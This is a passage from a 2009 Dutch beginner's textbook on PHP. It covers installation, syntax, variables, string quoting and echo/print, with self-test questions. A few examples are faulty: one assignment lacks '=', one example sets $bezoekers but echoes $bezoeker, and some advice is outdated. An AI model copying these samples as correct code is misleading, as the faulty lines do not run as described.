PHPBoek();


```
$Auteur  = "Jasper Vries";
$Website = "http://books.jaspervries.nl/phpboek/";

$Datum   = "6 november 2009";
$Versie  = "0";
```

Voorwoord

Dit boek is geschikt voor beginnende PHP programmeurs en kan door gevorderden tevens als naslagwerk gebruikt worden. Daarnaast is dit boek geschikt om in cursusverband gebruikt te worden, vanwege de vragen en opdrachten aan het einde van ieder hoofdstuk.

Ieder hoofdstuk is volgens een vast patroon opgezet. Na een korte introductie van de inhoud van het hoofdstuk wordt allereerst aandacht besteed aan een stuk theorie over het onderwerp dat in het hoofdstuk behandeld wordt. Dit theorie gedeelte is ruim geïllustreerd met code-voorbeelden. Na dit theorie gedeelte volgt (met uitzondering van de eerste hoofdstukken) een uitgewerkt praktijkvoorbeeld dat gebruikt maakt van de behandelde theorie en eventueel theorie behandeld in eerdere hoofdstukken.

Na het uitgewerkte praktijkvoorbeeld is in ieder hoofdstuk een zelftest opgenomen. Deze zelftest bestaat uit een aantal meerkeuzevragen die betrekking hebben op de theorie uit het betreffende hoofdstuk. De meerkeuzevragen behandelen de belangrijkste zaken uit het hoofdstuk, waarmee getest kan worden of de theorie in voldoende mate begrepen wordt. De antwoorden op de zelftest-vragen zijn beschikbaar op http://books.jaspervries.nl/phpboek/.

Tot slot bevatten de meeste hoofdstukken een oefening. Deze oefening heeft eveneens betrekking op de theorie van het betreffende hoofdstuk, maar gebruikt vaak ook elementen uit voorgaande hoofdstukken. Naar mate men in het boek vordert neemt de moeilijkheidsgraad van de oefeningen toe. In cursusverband kunnen deze oefeningen als huiswerkoefening of practicumoefening gebruikt worden.

Dit boek kan gebruikt worden voor iedere PHP-versie vanaf versie 4. Daar waar er verschillen zijn in relatie tot de gebruikte PHP-versie is dit duidelijk aangegeven. Verder is er uit gegaan van PHP in standaardconfiguratie. Daar waar het raadzaam is om af te wijken van de standaardconfiguratie is dit opgemerkt. Door uit te gaan van de standaardconfiguratie kunnen scripts geschreven volgens de theorie van dit boek op iedere willekeurige webserver met PHP uitgevoerd worden.

Verder wordt er in dit boek uitgegaan van een gedegen voorkennis van HTML en FTP. HTML voorbeelden in dit boek voldoen aan het XHTML 1.0 Transitional doctype. Het is aan de lezer om eventueel voor een ander doctype te kiezen in zijn of haar eigen scripts. HTML-code in voorbeelden uit boek wordt niet verder toegelicht en als bekend verondersteld.

Aanbevolen vervolgliteratuur op het onderwerp PHP is `MySQLBoek();` van dezelfde auteur. Hierin wordt ingegaan op database gestuurde websites, waarbij gebruik wordt gemaakt van de MySQL database software in combinatie met PHP.

Jasper Vries

Inhoudsopgave

Inleiding

PHP is een programmeertaal die speciaal voor het gebruik in websites ontwikkeld is. PHP kent dan ook veel opties die specifiek op het maken van websites gericht zijn. Het grote voordeel van PHP ten opzichte van andere programmeertalen die specifiek op het maken van website gericht zijn (zoals ASP, JSP en ColdFusion) is dat PHP volledig gratis beschikbaar is. Hierdoor is er een grote gemeenschap rondom PHP ontstaan met als gevolg dat er duizenden, zo niet miljoenen, scripts op internet klaar liggen om gebruikt te worden. En dat helemaal gratis!

Verder is PHP een server-side programmeertaal. Dit betekent dat alle scripts op de webserver worden uitgevoerd en niet op de computer van de bezoeker zoals bijvoorbeeld bij JavaScript het geval is. Server-side programmeertalen (zoals PHP) zijn daarom vele malen betrouwbaarder dan client-side programmeertalen (zoals JavaScript). De uitvoering van de scripts is niet afhankelijk van de computer van de bezoeker. Sterker nog, het is onmogelijk voor de bezoeker om de broncode van de scripts in te zien. Het zwakke punt van JavaScript, de beveiliging, is daarmee voor een groot deel aangepakt.

Aangezien de scripts door de webserver worden uitgevoerd, moet deze webserver wel uitgerust zijn met de PHP software om dit daadwerkelijk te kunnen doen. Omdat deze software zoals gezegd gratis beschikbaar is, bieden de meeste webhostingbedrijven ondersteuning voor PHP. Het kan echter geen kwaad om dit even te controleren en desnoods over te stappen naar een webhost die wel PHP ondersteuning biedt.

Om de voorbeelden en opdrachten uit dit boek te volgen en te maken is het handig om de PHP software op de eigen computer te installeren. Hoe dit moet wordt in het eerste hoofdstuk uitgelegd.

De afkorting ‘PHP’ is nu al vele malen gevallen. Deze afkorting staat voor *PHP Hypertext Preprocessor*, wat zoveel betekent als ‘HTML voorbereider’. PHP bereid dus de HTML-code die naar de bezoeker van je website gestuurd wordt voor uit de scripts die opgeroepen worden. Het resultaat van PHP scripts is dus altijd HTML en niets anders. Wat nu het voordeel is van PHP ten opzichte van HTML zal in dit boek duidelijk worden.

Voorbereiding

PHP-scripts zijn in feite gewone tekstbestanden. Een simpele teksteditor volstaat dan ook om PHP-scripts te kunnen maken en bewerken. Verstandiger is echter om te kiezen voor een PHP-editor.
Verder is het handig om de PHP-software te installeren. Hiermee wordt het testen van PHP-scripts een stuk eenvoudiger. Dit hoofdstuk gaat over deze twee benodigdheden om met PHP aan de slag te gaan.

PHP-editors

Het voordeel van een PHP-editor ten opzichte van een doodnormale tekst-editor zijn zogeheten kleurcoderingen. In plaats van alle code in zwarte letters op een witte achtergrond weer te geven, worden een stuk of vijf kleuren gebruikt om de code structuur te geven. Hoewel de code exact hetzelfde is als zonder PHP-editor, is diezelfde code in een PHP-editor een stuk makkelijker leesbaar en kunnen fouten makkelijker opgespoord worden omdat de kleurcodering dan “uit de maat” loopt.

Tevens worden er in PHP-editors regelnummers weergegeven. Ook dit maakt het opsporen van fouten makkelijker. De PHP-software geeft in een foutmelding namelijk altijd het regelnummer aan van de code die hij niet meer begrijpt. De fout zit dan dus ergens in de buurt van deze regel en is dan sneller gevonden.

Professionele PHP-programmeurs maken vaak gebruik van professionele PHP-editors zoals Adobe Dreamweaver. Naast eerder genoemde voorbeelden biedt Dreamweaver nog veel meer handigheden die het werken met PHP makkelijker maken. Voor PHP-beginners is Dreamweaver echter vrij onbereikbaar vanwege de hoge prijs van het programma.

Naast commerciële PHP-editors zijn er ook een handvol gratis programma’s beschikbaar. Deze zijn niet zo uitgebreid als Dreamweaver, maar bieden weldegelijk de eerder genoemde voordelen. Een goede gratis PHP-editor is Notepad++. Dit is een alles-editor gericht op veel programmeertalen, waaronder PHP. Notepad++ is te downloaden vanaf http://notepad-plus.sourceforge.net/.

De kleurcodering verschilt per PHP-editor. In dit boek wordt de kleurcodering aangehouden die ook op de officiële PHP-website gebruikt wordt. Deze kan dus afwijken van de kleurcodering die in de gekozen editor gebruikt wordt.

Installatie PHP

Een lokale PHP-installatie maakt het testen van scripts een stuk eenvoudiger. In de testfase is het dan namelijk niet nodig om het gewijzigde PHP-bestand iedere keer weer naar je webhost te uploaden. Een simpel Ctrl+S in de editor en F5 in de browser volstaat om de wijzigingen in het script direct te testen.

Om de PHP-software te kunnen gebruiken is er ook webserver-software nodig. Vaak wordt hiervoor het pakket Apache gebruikt. De PHP-software kan dan aan Apache worden toegevoegd. Ook de MySQL-software kan op soortgelijke wijze aan Apache worden toegevoegd (meer over MySQL is te vinden in *MySQLBoek();* van dezelfde auteur). Deze drie onderdelen kunnen handmatig worden geïnstalleerd, maar eenvoudiger is om voor een kant-en-klaar pakket te kiezen dat alle onderdelen in één keer correct installeert.

Windowsgebruikers kunnen bijvoorbeeld kiezen voor WampServer.

Download WampServer allereerst van http://www.wampserver.com/en/. Volg de instructies van het installatieprogramma. De standaardopties kunnen blijven staan.

Indien tijdens de installatie voor de standaardopties is gekozen, is WampServer geinstalleerd in C:\wamp en staat er een nieuw icoontje in de vorm van een soort snelheidsmeter in het systeemvak rechtsonder. Als dat laatste ontbreekt, start WampServer dan eerst handmatig via **Start** > **Programma's** > **WampServer** > **start WampServer**.
Zodra het icoontje in het systeemvak wit is gekleurd, is WampServer klaar voor gebruik.

In C:\wamp is er een map \www. Dit is in feite de hoofdmap van de lokale webserver. Maak hierin een map met de naam *PHPBoek* als oefenmap voor de rest van dit boek.

Om scripts uit te proberen, open de webbrowser en surf naar de zogeheten localhost: http://localhost of http://127.0.0.1. De welkomstpagina van WampServer zal nu getoond worden. Onderaan is nu ook de zojuist gemaakte map *PHPBoek* terug te vinden.

1 De PHP Syntaxis

Een PHP-editor en de testomgeving zijn geïnstalleerd. Tijd om ze te gaan gebruiken. Allereerst worden hier wat kenmerken van PHP-scripts beschreven: de PHP syntaxis.

Theorie

PHP Bestanden

PHP-scripts worden opgeslagen in PHP-bestanden. Een PHP-bestand is een bestand dat eindigt met de extensie *.php*. Door die extensie weet de server dat het bestand een PHP-script bevat, en zal dan de php-software aanroepen om het script te verwerken.

Een PHP-script in een bestand dat niet eindigt op *.php*, maar op *.html* of iets anders zal niet werken. PHP-scripts kunnen dus niet in HTML-bestanden worden opgenomen. Omgekeerd werkt echter wel. Het is geen enkel probleem om HTML-code in PHP-bestanden te verwerken, en dat is maar goed ook! PHP is een aanvulling op HTML, geen vervanger van HTML.

PHP declaratie

Zoals gezegd in de vorige paragraaf, kan een PHP-bestand ook HTML bevatten. Om dit mogelijk te maken moet in het script worden aangegeven waar het PHP-gedeelte begint en waar het PHP-gedeelte ophoudt. Dit noemen we de *PHP declaratie*.

Er zijn vier mogelijkheden om PHP-scripts te declareren; echter alleen de eerste twee uit onderstaand overzicht worden standaard door PHP herkend:

```
<?php
?>
```

```
<script language="php">
</script>
```

```
<?
?>
```

```
<%
%>
```

Aangezien alleen de eerste twee methoden standaard herkend worden, is het verstandig om alleen de eerste methode te gebruiken. Deze werkt altijd en is korter dan de tweede. De laatste twee worden sterk afgeraden, want niets is er zo vervelend dan alle declaratietags te moeten vervangen als het script niet werkt op een bepaalde server!

`<?php` geeft het begin van een PHP-script aan; en `?>` het einde. Op die manier kan PHP en HTML afwisselend door elkaar in hetzelfde document gebruikt worden.

Notities

Zoals met behulp van de <!-- en --> tags in HTML commentaar in de broncode kan worden opgenomen, kan dat op vergelijkbare wijze ook in PHP. Notities (of commentaar) worden door de server overgeslagen tijdens het verwerken van het PHP-script. Naast het maken van opmerkingen in scripts kan commentaar gebruikt worden om een (gedeelte) van het script even 'aan de kant' te zetten.

Er zijn drie manieren om notities in PHP-scripts op te nemen. Twee methoden zorgen er voor dat de rest van een regel code als commentaar wordt gezien. De laatste methode maakt het mogelijk meerdere regels commentaar op te nemen, waarbij dan alleen begin en eind hoeft te worden aangegeven zonder in iedere regel aan te geven dat het commentaar is:

```php
<?php

// commentaar (enkele regel)

# commentaar (enkele regel)

/* commentaar
(meerdere regels)
*/

?>
```

Het is verstandig om met behulp van notities zo goed mogelijk vast te leggen wat de verschillende onderdelen van een script doen. Nuttig commentaar maakt het mogelijk om sneller in te zien wat een script precies doet. Handig als iemand anders het script moet begrijpen of als een oud script op een bepaald moment aangepast moet worden.

In dit boek is zo veel mogelijk nuttig commentaar aan voorbeeldscripts toegevoegd; niet alleen als goed voorbeeld, maar vooral ook om duidelijk te maken wat verschillende onderdelen in een script doen. Goed commentaar is het halve werk, misschien niet nu, maar zeker wel bij het terugkijken van een oud script!

Functies

Een ander belangrijk onderdeel van PHP is het grote aantal standaardfuncties dat beschikbaar is. Een *functie* voert een bepaalde handeling uit en geeft het resultaat van die handeling als *uitvoer* terug. Sommige functies hebben een bepaalde *invoer* nodig, andere functies kunnen zonder. Deze invoer wordt *parameter* genoemd. Functies die meer dan één parameter nodig hebben zijn geen uitzondering in PHP.

Hieronder staat de functie `strlen()` afgebeeld. Deze functie berekent de tekstlengte van de opgegeven parameter.

int **strlen** (string *$string*)

In de officiële PHP-documentatie worden functies op deze manier afgebeeld, waarna ze nader worden toegelicht. Voor dit boek is er voor gekozen om dit op dezelfde manier te doen. De PHP-documentatie kan dan eenvoudig als aanvulling op dit boek gebruikt worden.

Int en *string* in het voorbeeld van `strlen()` geven aan van welk gegevenstype de invoer (parameter) moet zijn en welk gegevenstype als uitvoer verwacht kan worden. `strlen()` verwacht dus een tekenreeks (string) als invoer en geeft een geheel getal (int) als uitvoer terug. Alle mogelijke typen zijn weergegeven in tabel 1.

De uitvoer van een functie (in dit geval de lengte van de opgegeven string) kan vervolgens worden opgeslagen in een *variabele*. De volgende paragraaf gaat verder in op variabelen.

Type	Toelichting
boolean (bool)	De waarde TRUE (waar; 1) of FALSE (onwaar; 0).
integer (int)	Een positief of negatief geheel getal of de waarde nul.
float	Een positief of negatief kommagetal.
string	Een tekenreeks (tekst).
array	Een lijst met waarden van de hierboven genoemde vier typen.
object	Een object (komt verder niet ter sprake in dit boek).
resource	Een referentie naar een externe gegevensbron, bijvoorbeeld een MySQL database.
NULL	Een variabele zonder waarde.
mixed	De functie kan met meer dan één type parameter overweg (maar mogelijk niet alle).
number	De functie verwacht een *integer* of een *float* als parameter.
callback	De functie verwacht een andere zelf te kiezen functie als parameter.

tabel 1: gegevenstypen

Indien een parameter van een functie tussen [rechte haken] is geschreven, is deze parameter niet verplicht en kan dus weggelaten worden. Een voorbeeld van een functie met een niet-verplichte parameter komt terug in de opgave aan het einde van dit hoofdstuk.

Variabelen

Variabelen in PHP zijn een soort van 'vakjes' waar je tijdelijk gegevens in op kunt slaan. Zo kun je een getal in een variabele opslaan om er verderop in het script mee verder te rekenen.

Een variabele in PHP begint altijd met een dollarteken gevolgd door de naam van de variabele. De naam van de variabele is hoofdlettergevoelig, begint in ieder geval met een letter en kan daarna ook nog cijfers en underscores (_) bevatten:

```
$Naam_van_variabele_1
```

Om nu een waarde aan de variabele toe te kennen, wordt er na de naam van de variabele een =-teken gezet met daarachter de waarde van de variabele:

```
//getalvariabele:
$Naam_van_variabele_1 = 1234;
```

Behalve getallen zijn er nog andere typen variabelen. De typen variabelen zijn hetzelfde als de typen die gebruik worden bij functies. De typen in tabel 1 zijn dus ook van toepassing op variabelen (de laatste drie gelden alleen voor functies). In tegenstelling tot in veel andere programmeertalen is het in

PHP niet nodig om iedere variabele aan te maken en aan te geven van welk type deze is (variabele declaratie). PHP regelt dat volledig automatisch.

Als je tekst aan een variabele wilt toekennen, moet deze altijd tussen aanhalingstekens gezet worden. Op die manier weet PHP waar de waarde van de variabele begint en waar deze eindigt:

```
//tekstvariabele:
$Naam_van_variabele_1 = "Waarde van variabele";
```

De naam van een variabele is uniek. Als we de laatste twee codefragmenten in één script zouden zetten, zal `$Naam_van_variabele_1` niet meer de waarde *1234* hebben, maar in plaats daarvan *Waarde van variabele*. Andersom, in onderstaand fragment krijgt variabele `$var1` de waarde *1234*.

```
//tekstvariabele:
$var1 = "Waarde van variabele";
//getalvariabele:
$var1 = 1234;
```

Behalve direct een waarde aan een variabele toe te kennen, kan de waarde van een variabele ook afhangen van een functie. Hierbij wordt de variabele niet direct een waarde gegeven zoals in bovenstaande voorbeelden, maar wordt de variabele gelijk gesteld aan een of andere functie. Een voorbeeld hiervan is opgenomen in de paragraaf
Combineren.

Instructies

Het toekennen van een waarde aan een variabele of het aanroepen van een functie zijn voorbeelden van *instructies*. In PHP moet iedere instructie afgesloten worden met een **puntkomma**. Wellicht zijn ze al opgevallen in de voorgaande voorbeelden.

Door het gebruik van de puntkomma is het in PHP niet nodig om iedere instructie op een nieuwe regel te zetten. Door de puntkomma weet PHP waar een instructie eindigt en daardoor kunnen er prima meerdere instructies op één regel geplaatst worden. Andersom kan een instructie ook over meerdere regels verspreid worden.

```
$var1 = "Waarde van variabele"; $var2 = 1234;
```

```
$var1
= "Waarde van variabele"
; $var2 =
1234;
```

Bovenstaande twee voorbeelden zijn dan ook correcte PHP code. Of ze duidelijk leesbaar zijn is een ander verhaal…

Combineren

Functies en variabelen kunnen gecombineerd worden in één enkel PHP-script. Onderstaand script berekent de lengte van `$var1` en slaat deze op in `$var2` door gebruik te maken van `strlen()`.

```php
<?php

//we willen de lengte van onderstaande string weten:
$var1 = "Waarde van variabele";
//hiervoor gebruiken we de functie strlen:
$var2 = strlen($var1);
//$var2 heeft nu als waarde de tekenlengte van $var1.

?>
```

Na uitvoeren van bovenstaand script zal de waarde van `$var2` gelijk zijn aan 20. Belangrijk om hier in te zien is dat de variabele `$var2` gelijk wordt gesteld aan de functie `strlen()`. De waarde die de functie `strlen()` terug geeft wordt dus opgeslagen in variabele `$var2`.

Zelftest

1. Welke bestandsextensie moet gebruikt worden voor PHP-scripts?

a) .html
b) .phtml
c) .php
d) .script

2. Wat is de beste PHP openingstag (declaratie)?

a) <?php
b) <script language="php">
c) <?
d) <%

3. Met welk teken wordt aangegeven dat commentaar meerdere regels omvat?

a) //
b) #
c) /*

4. Welke variabelenaam is correct om in PHP-scripts te gebruiken?

a) $1var_
b) $var_1
c) $_var1
d) $1_var

5. Wat is de parameter van een functie?

a) Een getal.
b) Een variabele die de functie als invoer gebruikt.
c) Een variabele die de functie als uitvoer gebruikt.
d) Een speciaal soort functie.

6. Waarvoor dient de puntkomma in PHP?

a) Om in een opsomming aan te geven dat er nog een item komt.
b) Om aan te geven dat een punt en een komma allebei goed zijn.
c) Om het einde van een regel aan te geven.
d) Om het einde van een instructie aan te geven.

Oefening: PHPInfo

De functie `phpinfo()` laat allerhande informatie over de geïnstalleerde PHP versie zien. Deze functie kan dus gebruikt worden om te controleren of PHP correct is geïnstalleerd.

bool **phpinfo** ([int *$what*])

Via de parameter `$what` kan worden aangegeven dat, in plaats van alle informatie, slechts een gedeelte getoond moet worden. Om alle mogelijk informatie te tonen kan de parameter weggelaten worden. Als de functie succesvol wordt uitgevoerd, wordt de waarde `TRUE` als resultaat gegeven. Als het uitvoeren van de functie mislukt, wordt de waarde `FALSE` terug gegeven.

Opdracht

Schrijf een PHP-script dat alle informatie over de PHP-installatie laat zien door gebruik te maken van `phpinfo()`. Sla de `TRUE`/`FALSE` waarde die de functie teruggeeft op in de variabele `$resultaat`.

Sla het script op en roep het aan via de webbrowser (sla het script dus direct op in de *\www\PHPBoek* map van de webserversoftware die je in het vorige hoofdstuk hebt geïnstalleerd, of upload het script naar je webhost).

2 Teksten weergeven

Een webpagina zonder tekst is maar saai, zeker als we alle HTML voor het gemak ook even onder ‘tekst’ verstaan. Een lege pagina is precies het resultaat als je PHP niet de opdracht geeft om gegevens, tekst of HTML naar de browser te sturen. Dit hoofdstuk gaat in op het weergeven van gegevens via PHP en het combineren van HTML code en PHP scripts in één bestand.

Theorie

Print en Echo

De twee belangrijkste functies om uitvoer naar de browser te sturen zijn `print()` en `echo()`. Hoewel er verschillen zijn tussen de twee functies, zijn deze verschillen voor de beginnende PHP-programmeur niet interessant. Daarom zullen we de twee functies gelijkwaardig beschouwen en zo nu en dan ook door elkaar gebruiken. De syntaxis zijn als volgt:

int **print** (string *$arg*)

void **echo** (string *$arg1* [, string *$...*])

Als parameter wordt dus een string verwacht. De waarde van de string wordt direct naar de browser van de bezoeker gestuurd en wordt dus op het scherm van de bezoeker getoond. In php-code kunnen `print()` en `echo()` er als volgt uit zien:

```
print("Hallo wereld");
print('Hallo wereld');
print "Hallo wereld";
print 'Hallo wereld';
```

```
echo("Hallo wereld");
echo('Hallo wereld');
echo "Hallo wereld";
echo 'Hallo wereld';
```

Er kunnen dubbele of enkele aanhalingstekens gebruikt worden en de string mag eventueel ook tussen haakjes staan, maar die haakjes mogen ook weggelaten worden. De acht voorbeelden hierboven geven dan ook allen exact hetzelfde resultaat.

Voor welke mogelijkheid gekozen wordt is dus eigenlijk niet zo belangrijk, zolang de keuze maar consequent wordt toegepast: aan de ene kant een enkel aanhalingsteken en aan de andere kant een dubbel aanhalingsteken gaat niet goed. Aan de ene kant wel een haakje en aan de andere kant geen gaat natuurlijk ook niet goed.

In de praktijk worden de haakjes vrijwel altijd weggelaten: waarom meer moeite doen dan nodig is. Dubbele en enkele aanhalingstekens worden wel allebei gebruikt. Afhankelijk van de situatie is het ene soort namelijk makkelijker in gebruik dan het andere. Hierover meer verderop in dit hoofdstuk.

De auteur van dit boek geeft de voorkeur aan `echo()`. Voor het doel van dit boek zijn `print()` en `echo()` gelijkwaardig aan elkaar. In de voorbeelden in dit boek kan dus waar `echo()` gebruikt is ook `print()` gedacht worden.

Variabelen Weergeven

In plaats van het weergeven van letterlijke tekst (zoals in de voorgaande paragraaf) kunnen `print()` en `echo()` ook gebruikt worden om de waarde van variabelen weer te geven. In plaats van een tekst tussen aanhalingstekens kan direct de naam van de variabele (inclusief voorafgaand dollarteken) worden opgegeven. PHP stuurt dan de inhoud van die variabele naar de browser van de bezoeker, zoals in onderstaand voorbeeld:

```
$variabele = "Welkom op mijn website";
echo $variabele;
```

Als bovenstaande code in een PHP-script wordt uitgevoerd, dan wordt de tekst *Welkom op mijn website* in de browser weergegeven.

Variabelen Combineren

In een enkele `print()` of `echo()` kunnen meerdere variabelen opgenomen worden. Ook kunnen variabelen samen met tekst in één enkele `print()` of `echo()` gecombineerd worden. Om dit te doen moeten variabelen onderling of variabele en tekst met een **punt** gescheiden worden.

In onderstaand voorbeeld zijn de variabelen `$tekst1` en `$tekst2` door middel van een punt aan elkaar gekoppeld en in een enkele `echo()` naar de browser doorgegeven:

```
$tekst1 = "Met een punt kunnen twee";
$tekst2 = "variabelen aan elkaar gekoppeld worden.";
echo $tekst1 . $tekst2;
```

In de browser zal de tekst *Met een punt kunnen tweevariabelen aan elkaar gekoppeld worden.* Hier ontbreekt een spatie tussen de woorden *twee* en *variabelen*. PHP zal hier dus niet zelf een spatie tussen zetten als deze ontbreekt. PHP heeft geen eigen wil en doet dan ook precies wat er gevraagd wordt. Om nu toch een spatie tussen de twee zinsdelen te krijgen kan deze extra spatie eenvoudig aan het einde van `$tekst1` of aan het begin van `$tekst2` worden toegevoegd. Als dan de twee variabelen aan elkaar gekoppeld worden zit de spatie er gewoon bij in.

Zoals gezegd kan een variabele ook met een tekst, die direct in de echo opgenomen is, worden gecombineerd. Dit is te zien in onderstaand voorbeeld:

```
$getal = 12;
echo "Het getal is gelijk aan ".$getal;
```

In de browser geeft dit *Het getal is gelijk aan 12*. Zonder punt erachter. Om toch een punt achter deze zin te zetten kan deze achter $getal worden toegevoegd. Eerst weer een punt en daarna een punt tussen aanhalingstekens. De eerste van de twee punten koppelt twee onderdelen aan elkaar. De tweede punt tussen aanhalingstekens is een *tekststring* met als inhoud een punt!

```
$getal = 12;
echo "Het getal is gelijk aan ".$getal.".";
```

Behalve variabelen koppelen in een `echo()` zoals hierboven is geïllustreerd, kunnen gekoppelde variabelen ook in een nieuwe variabele opgeslagen worden. Deze nieuwe variabele kan dan niet alleen worden geëchoed, maar er kunnen ook andere dingen mee gedaan worden. Deze "andere dingen" komen in de loop van dit boek ter sprake. Twee voorbeelden van het koppelen van variabelen in een nieuwe variabelen zijn hieronder opgenomen:

```
$nieuwetekst = $tekst1 . $tekst2;
```

```
$getal = 12;
$getal_met_tekst "Het getal is gelijk aan ".$getal.".";
```

Naast deze methode met punten om een variabele in een tekst op te nemen, bestaat er nog een andere methode zonder gebruik van deze punten. Hierbij is het verschil tussen enkele en dubbele aanhalingstekens van belang, wat is uiteengezet in de volgende paragraaf.

Dubbele en Enkele Aanhalingstekens

Zoals al eerder ter sprake is gekomen kunnen teksten (ofwel *strings*) tussen dubbele of enkele aanhalingstekens geschreven worden. Dit is niet om het de programmeur makkelijk te maken, maar er zit daadwerkelijk een verschil tussen deze twee soorten aanhalingstekens.

Men kan stellen dat de dubbele aanhalingstekens ‘slimmer’ zijn dan de enkele aanhalingstekens. Het gebruik van enkele aanhalingstekens maakt de uitvoering van een PHP-script daarmee iets sneller: PHP hoeft niet na te denken over wat het met de inhoud tussen de aanhalingstekens moet doen. Het snelheidsverschil is met de computers van tegenwoordig dusdanig minimaal dat dit niet de reden moet zijn om de ene keer dubbele en de andere keer enkele aanhalingstekens te gebruiken.

De slimheid van de dubbele aanhalingstekens maakt het mogelijk om *variabelen* direct in een tekst op te nemen, waarbij PHP de waarde van de variabele op de plek van de variabele in de tekst invoegt. Bekijk het volgende voorbeeld:

```
$getal = 12;
echo "Het getal is gelijk aan $getal.";
echo 'Het getal is gelijk aan $getal.';
```

In de browser wordt nu voor de eerste `echo()` de tekst *Het getal is gelijk aan 12.* weergegeven, maar voor de tweede `echo()` verschijnt domweg *Het getal is gelijk aan $getal*. Wanneer gebruik wordt gemaakt van enkele aanhalingstekens kijkt PHP dus niet of er een variabele in te tekst is opgenomen.

Hoewel deze methode makkelijker is dan het gestoei met punten, kleven er ook nadelen aan. Deze nadelen worden geïllustreerd met het volgende voorbeeld:

```
$plaats = 12;
echo "De club staat op de $plaatse plaats";
echo 'De club staat op de '.$plaats.'e plaats';
```

In de browser geeft dit voor de eerste `echo()` *De club staat op de $plaatse plaats* en voor de tweede `echo()` *De club staat op de 12e plaats*. De reden hiervan is dat PHP niet kan bepalen of `$plaats` met hierachter de letter e, of dat er een heel andere variabele met de naam `$plaatse` wordt bedoeld! De auteur van dit boek geeft daarom ook persoonlijk de voorkeur aan de tweede methode: misschien

iets meer werk, maar het kan niet mis gaan. Daarnaast krijgt de variabele een andere kleur in de PHP-editor waardoor het meteen duidelijk is dat er een variabele tussen de tekst staat.

In de tweede `echo()` is tevens gebruik gemaakt van enkele aanhalingstekens: er staat immers geen variabele in de tekststring, maar los er tussen geplakt. In dit geval is het gebruik van dubbele aanhalingstekens dus ook niet noodzakelijk. Dus waarom nog gebruik maken van dubbele aanhalingstekens?

Soms zijn dubbele aanhalingstekens toch wel makkelijk, want de slimmigheid ervan zit niet alleen in het kunnen opnemen van variabelen. Zo zijn er speciale *escape sequences* die in strings geschreven met dubbele aanhalingstekens opgenomen kunnen worden. Zo wordt de escape sequence `\n` geschreven tussen dubbele aanhalingstekens omgezet in een *newline*: er wordt op de volgende regel verder gegaan. Handig om wat meer structuur te geven aan de HTML broncode die naar de browser wordt gestuurd, want standaard zet PHP alles op één regel, ook als er in de PHP-code meerdere regels zijn gebruikt.

```
echo "Regel een.";
echo "Regel twee.";
```

Bovenstaand voorbeeld geeft in de browser als resultaat: *Regel een. Regel twee*. Onderstaand voorbeeld geeft in de broncode (niet in de HTML-weergave, want een nieuwe regel in HTML wordt immers door middel van <br /> ingevoegd!) het resultaat:
Regel een.
Regel twee.

```
echo "Regel een.\n";
echo "Regel twee.";
```

Aanhalingstekens en Aanhalingstekens

Er zijn dus aanhalingstekens en aanhalingstekens. Maar wat nu als er ook nog aanhalingstekens in de zin die in een variabele gezet worden staan? Laten we de zin *Pietje zei: "Ik begrijp niet zo veel van PHP".* in een variabele zetten. Als we hier simpelweg dubbele aanhalingstekens omheen zetten gaat het niet goed!

```
$pietjezei = "Pietje zei: "Ik begrijp niet zo veel van PHP".";
```

Wat hierboven mis gaat is dat PHP denkt dat de zin voor *Ik* ophoudt, omdat het hier weer een dubbel aanhalingsteken tegen komt. Daarna komt er voor PHP iets wat het niet begrijpt: er staat tekst die niet tussen aanhalingstekens staat en het is geen functie. Bovenstaand fragment zal dan ook resulteren in een foutmelding.

Hoe kan het dan wel? Eén mogelijkheid is om gebruik te maken van beide soorten aanhalingstekens. Hierdoor weet PHP wat bij elkaar hoort en is er niks meer aan de hand:

```
$pietjezei = 'Pietje zei: "Ik begrijp niet zo veel van PHP".';
```

Een andere mogelijkheid is het *escapen* van aanhalingstekens. Door een *backslash* voor een aanhalingsteken te plaatsen weet PHP dat het hierna volgende aanhalingsteken niet het einde van

een string aangeeft, maar in de string moet worden opgenomen. Misschien is een voorbeeld duidelijker:

```
$pietjezei = "Pietje zei: \"Ik begrijp niet zo veel van PHP\".";
```

Naast dubbele en enkele aanhalingstekens heb je ze dus ook nog met een backslash ervoor!

HTML via PHP Weergeven

Zoals in het begin van dit boek vermeld is, is PHP een aanvulling op HTML. Beide zullen dan ook vaak gecombineerd moeten worden. Naast simpele tekst kan ook HTML prima in variabelen en echo's worden opgenomen. Ook hier komen de punten om delen aan elkaar te knopen, de verschillende soorten aanhalingstekens en de backslashes weer naar voren.

Laten we onderstaande HTML-code eens als voorbeeld bekijken. Op de plek van [getal] willen we met behulp van een variabele een door PHP bepaald getal opnemen:

```
<span style="color:#FF0000;">Je bent de [getal]e bezoeker van mijn
website.</span>
```

Als we dubbele aanhalingtekens voor de `echo()` gebruiken, moeten de aanhalingstekens die bij het attribuut *style* horen geëscaped worden met een backslash en moeten punten gebruikt worden om de variabele en de letter e te scheiden:

```
echo "<span style=\"color:#FF0000;\">Je bent de ".$bezoeker."e bezoeker van
mijn website.</span>";
```

Gebruiken we enkele aanhalingstekens, dan hoeven de dubbele aanhalingstekens die bij de HTML-code horen niet meer geëscaped te worden, maar moeten we nog steeds punten om de variabele heen gebruiken:

```
echo '<span style="color:#FF0000;">Je bent de '.$bezoeker.'e bezoeker van
mijn website.</span>';
```

PHP en HTML in één Bestand Combineren

Voor een enkele regel HTML is een `echo()` nog wel te doen. Het is echter geen doen om een hele website als `echo()` in PHP op te nemen. Iedere website kent wel stukken waar PHP 'even niet nodig is'. Door slim gebruik te maken van de PHP-tags (`<?php` en `?>`, zie hoofdstuk 0) kan voorkomen worden veel HTML in een `echo()` te moeten plaatsen.

Zodra PHP even niet meer nodig is, wordt de `?>` tag geplaatst en zodra weer met PHP verder wordt gegaan komt eerst weer even `<?php`. Alles wat niet tussen `<?php` en `?>` staat wordt als een normaal HTML-bestand beschouwd, ook al wordt de .php bestandsextensie gebruikt. Zo is het zelfs mogelijk om een PHP-bestand te hebben zonder dat hier ook maar één regel PHP-code in staat!

Het voorbeeld uit de voorgaande paragraaf zou dus ook als volgt kunnen worden geschreven (inclusief de rest van een HTML-pagina):

```php
<?php

//Hieronder normaal de code om de bezoekers te tellen. In dit voorbeeld
stellen we voor het gemak $bezoekers even gelijk aan 32.
$bezoekers = 32;

?>

<html>
<head>
<title>Titel van webpagina</title>
</head>
<body>

<span style="color:#FF0000;">Je bent de <?php echo $bezoeker; ?>e bezoeker
van mijn website.</span>

</body>
</html>
```

Zelftest

1. Wat is het verschil tussen `print()` en `echo()`?

a) Er is geen belangrijk verschil.
b) `print()` stuurt een document naar de printer en `echo()` niet.
c) `echo()` herhaalt wat bij de laatste `print()`-functie is weergegeven.
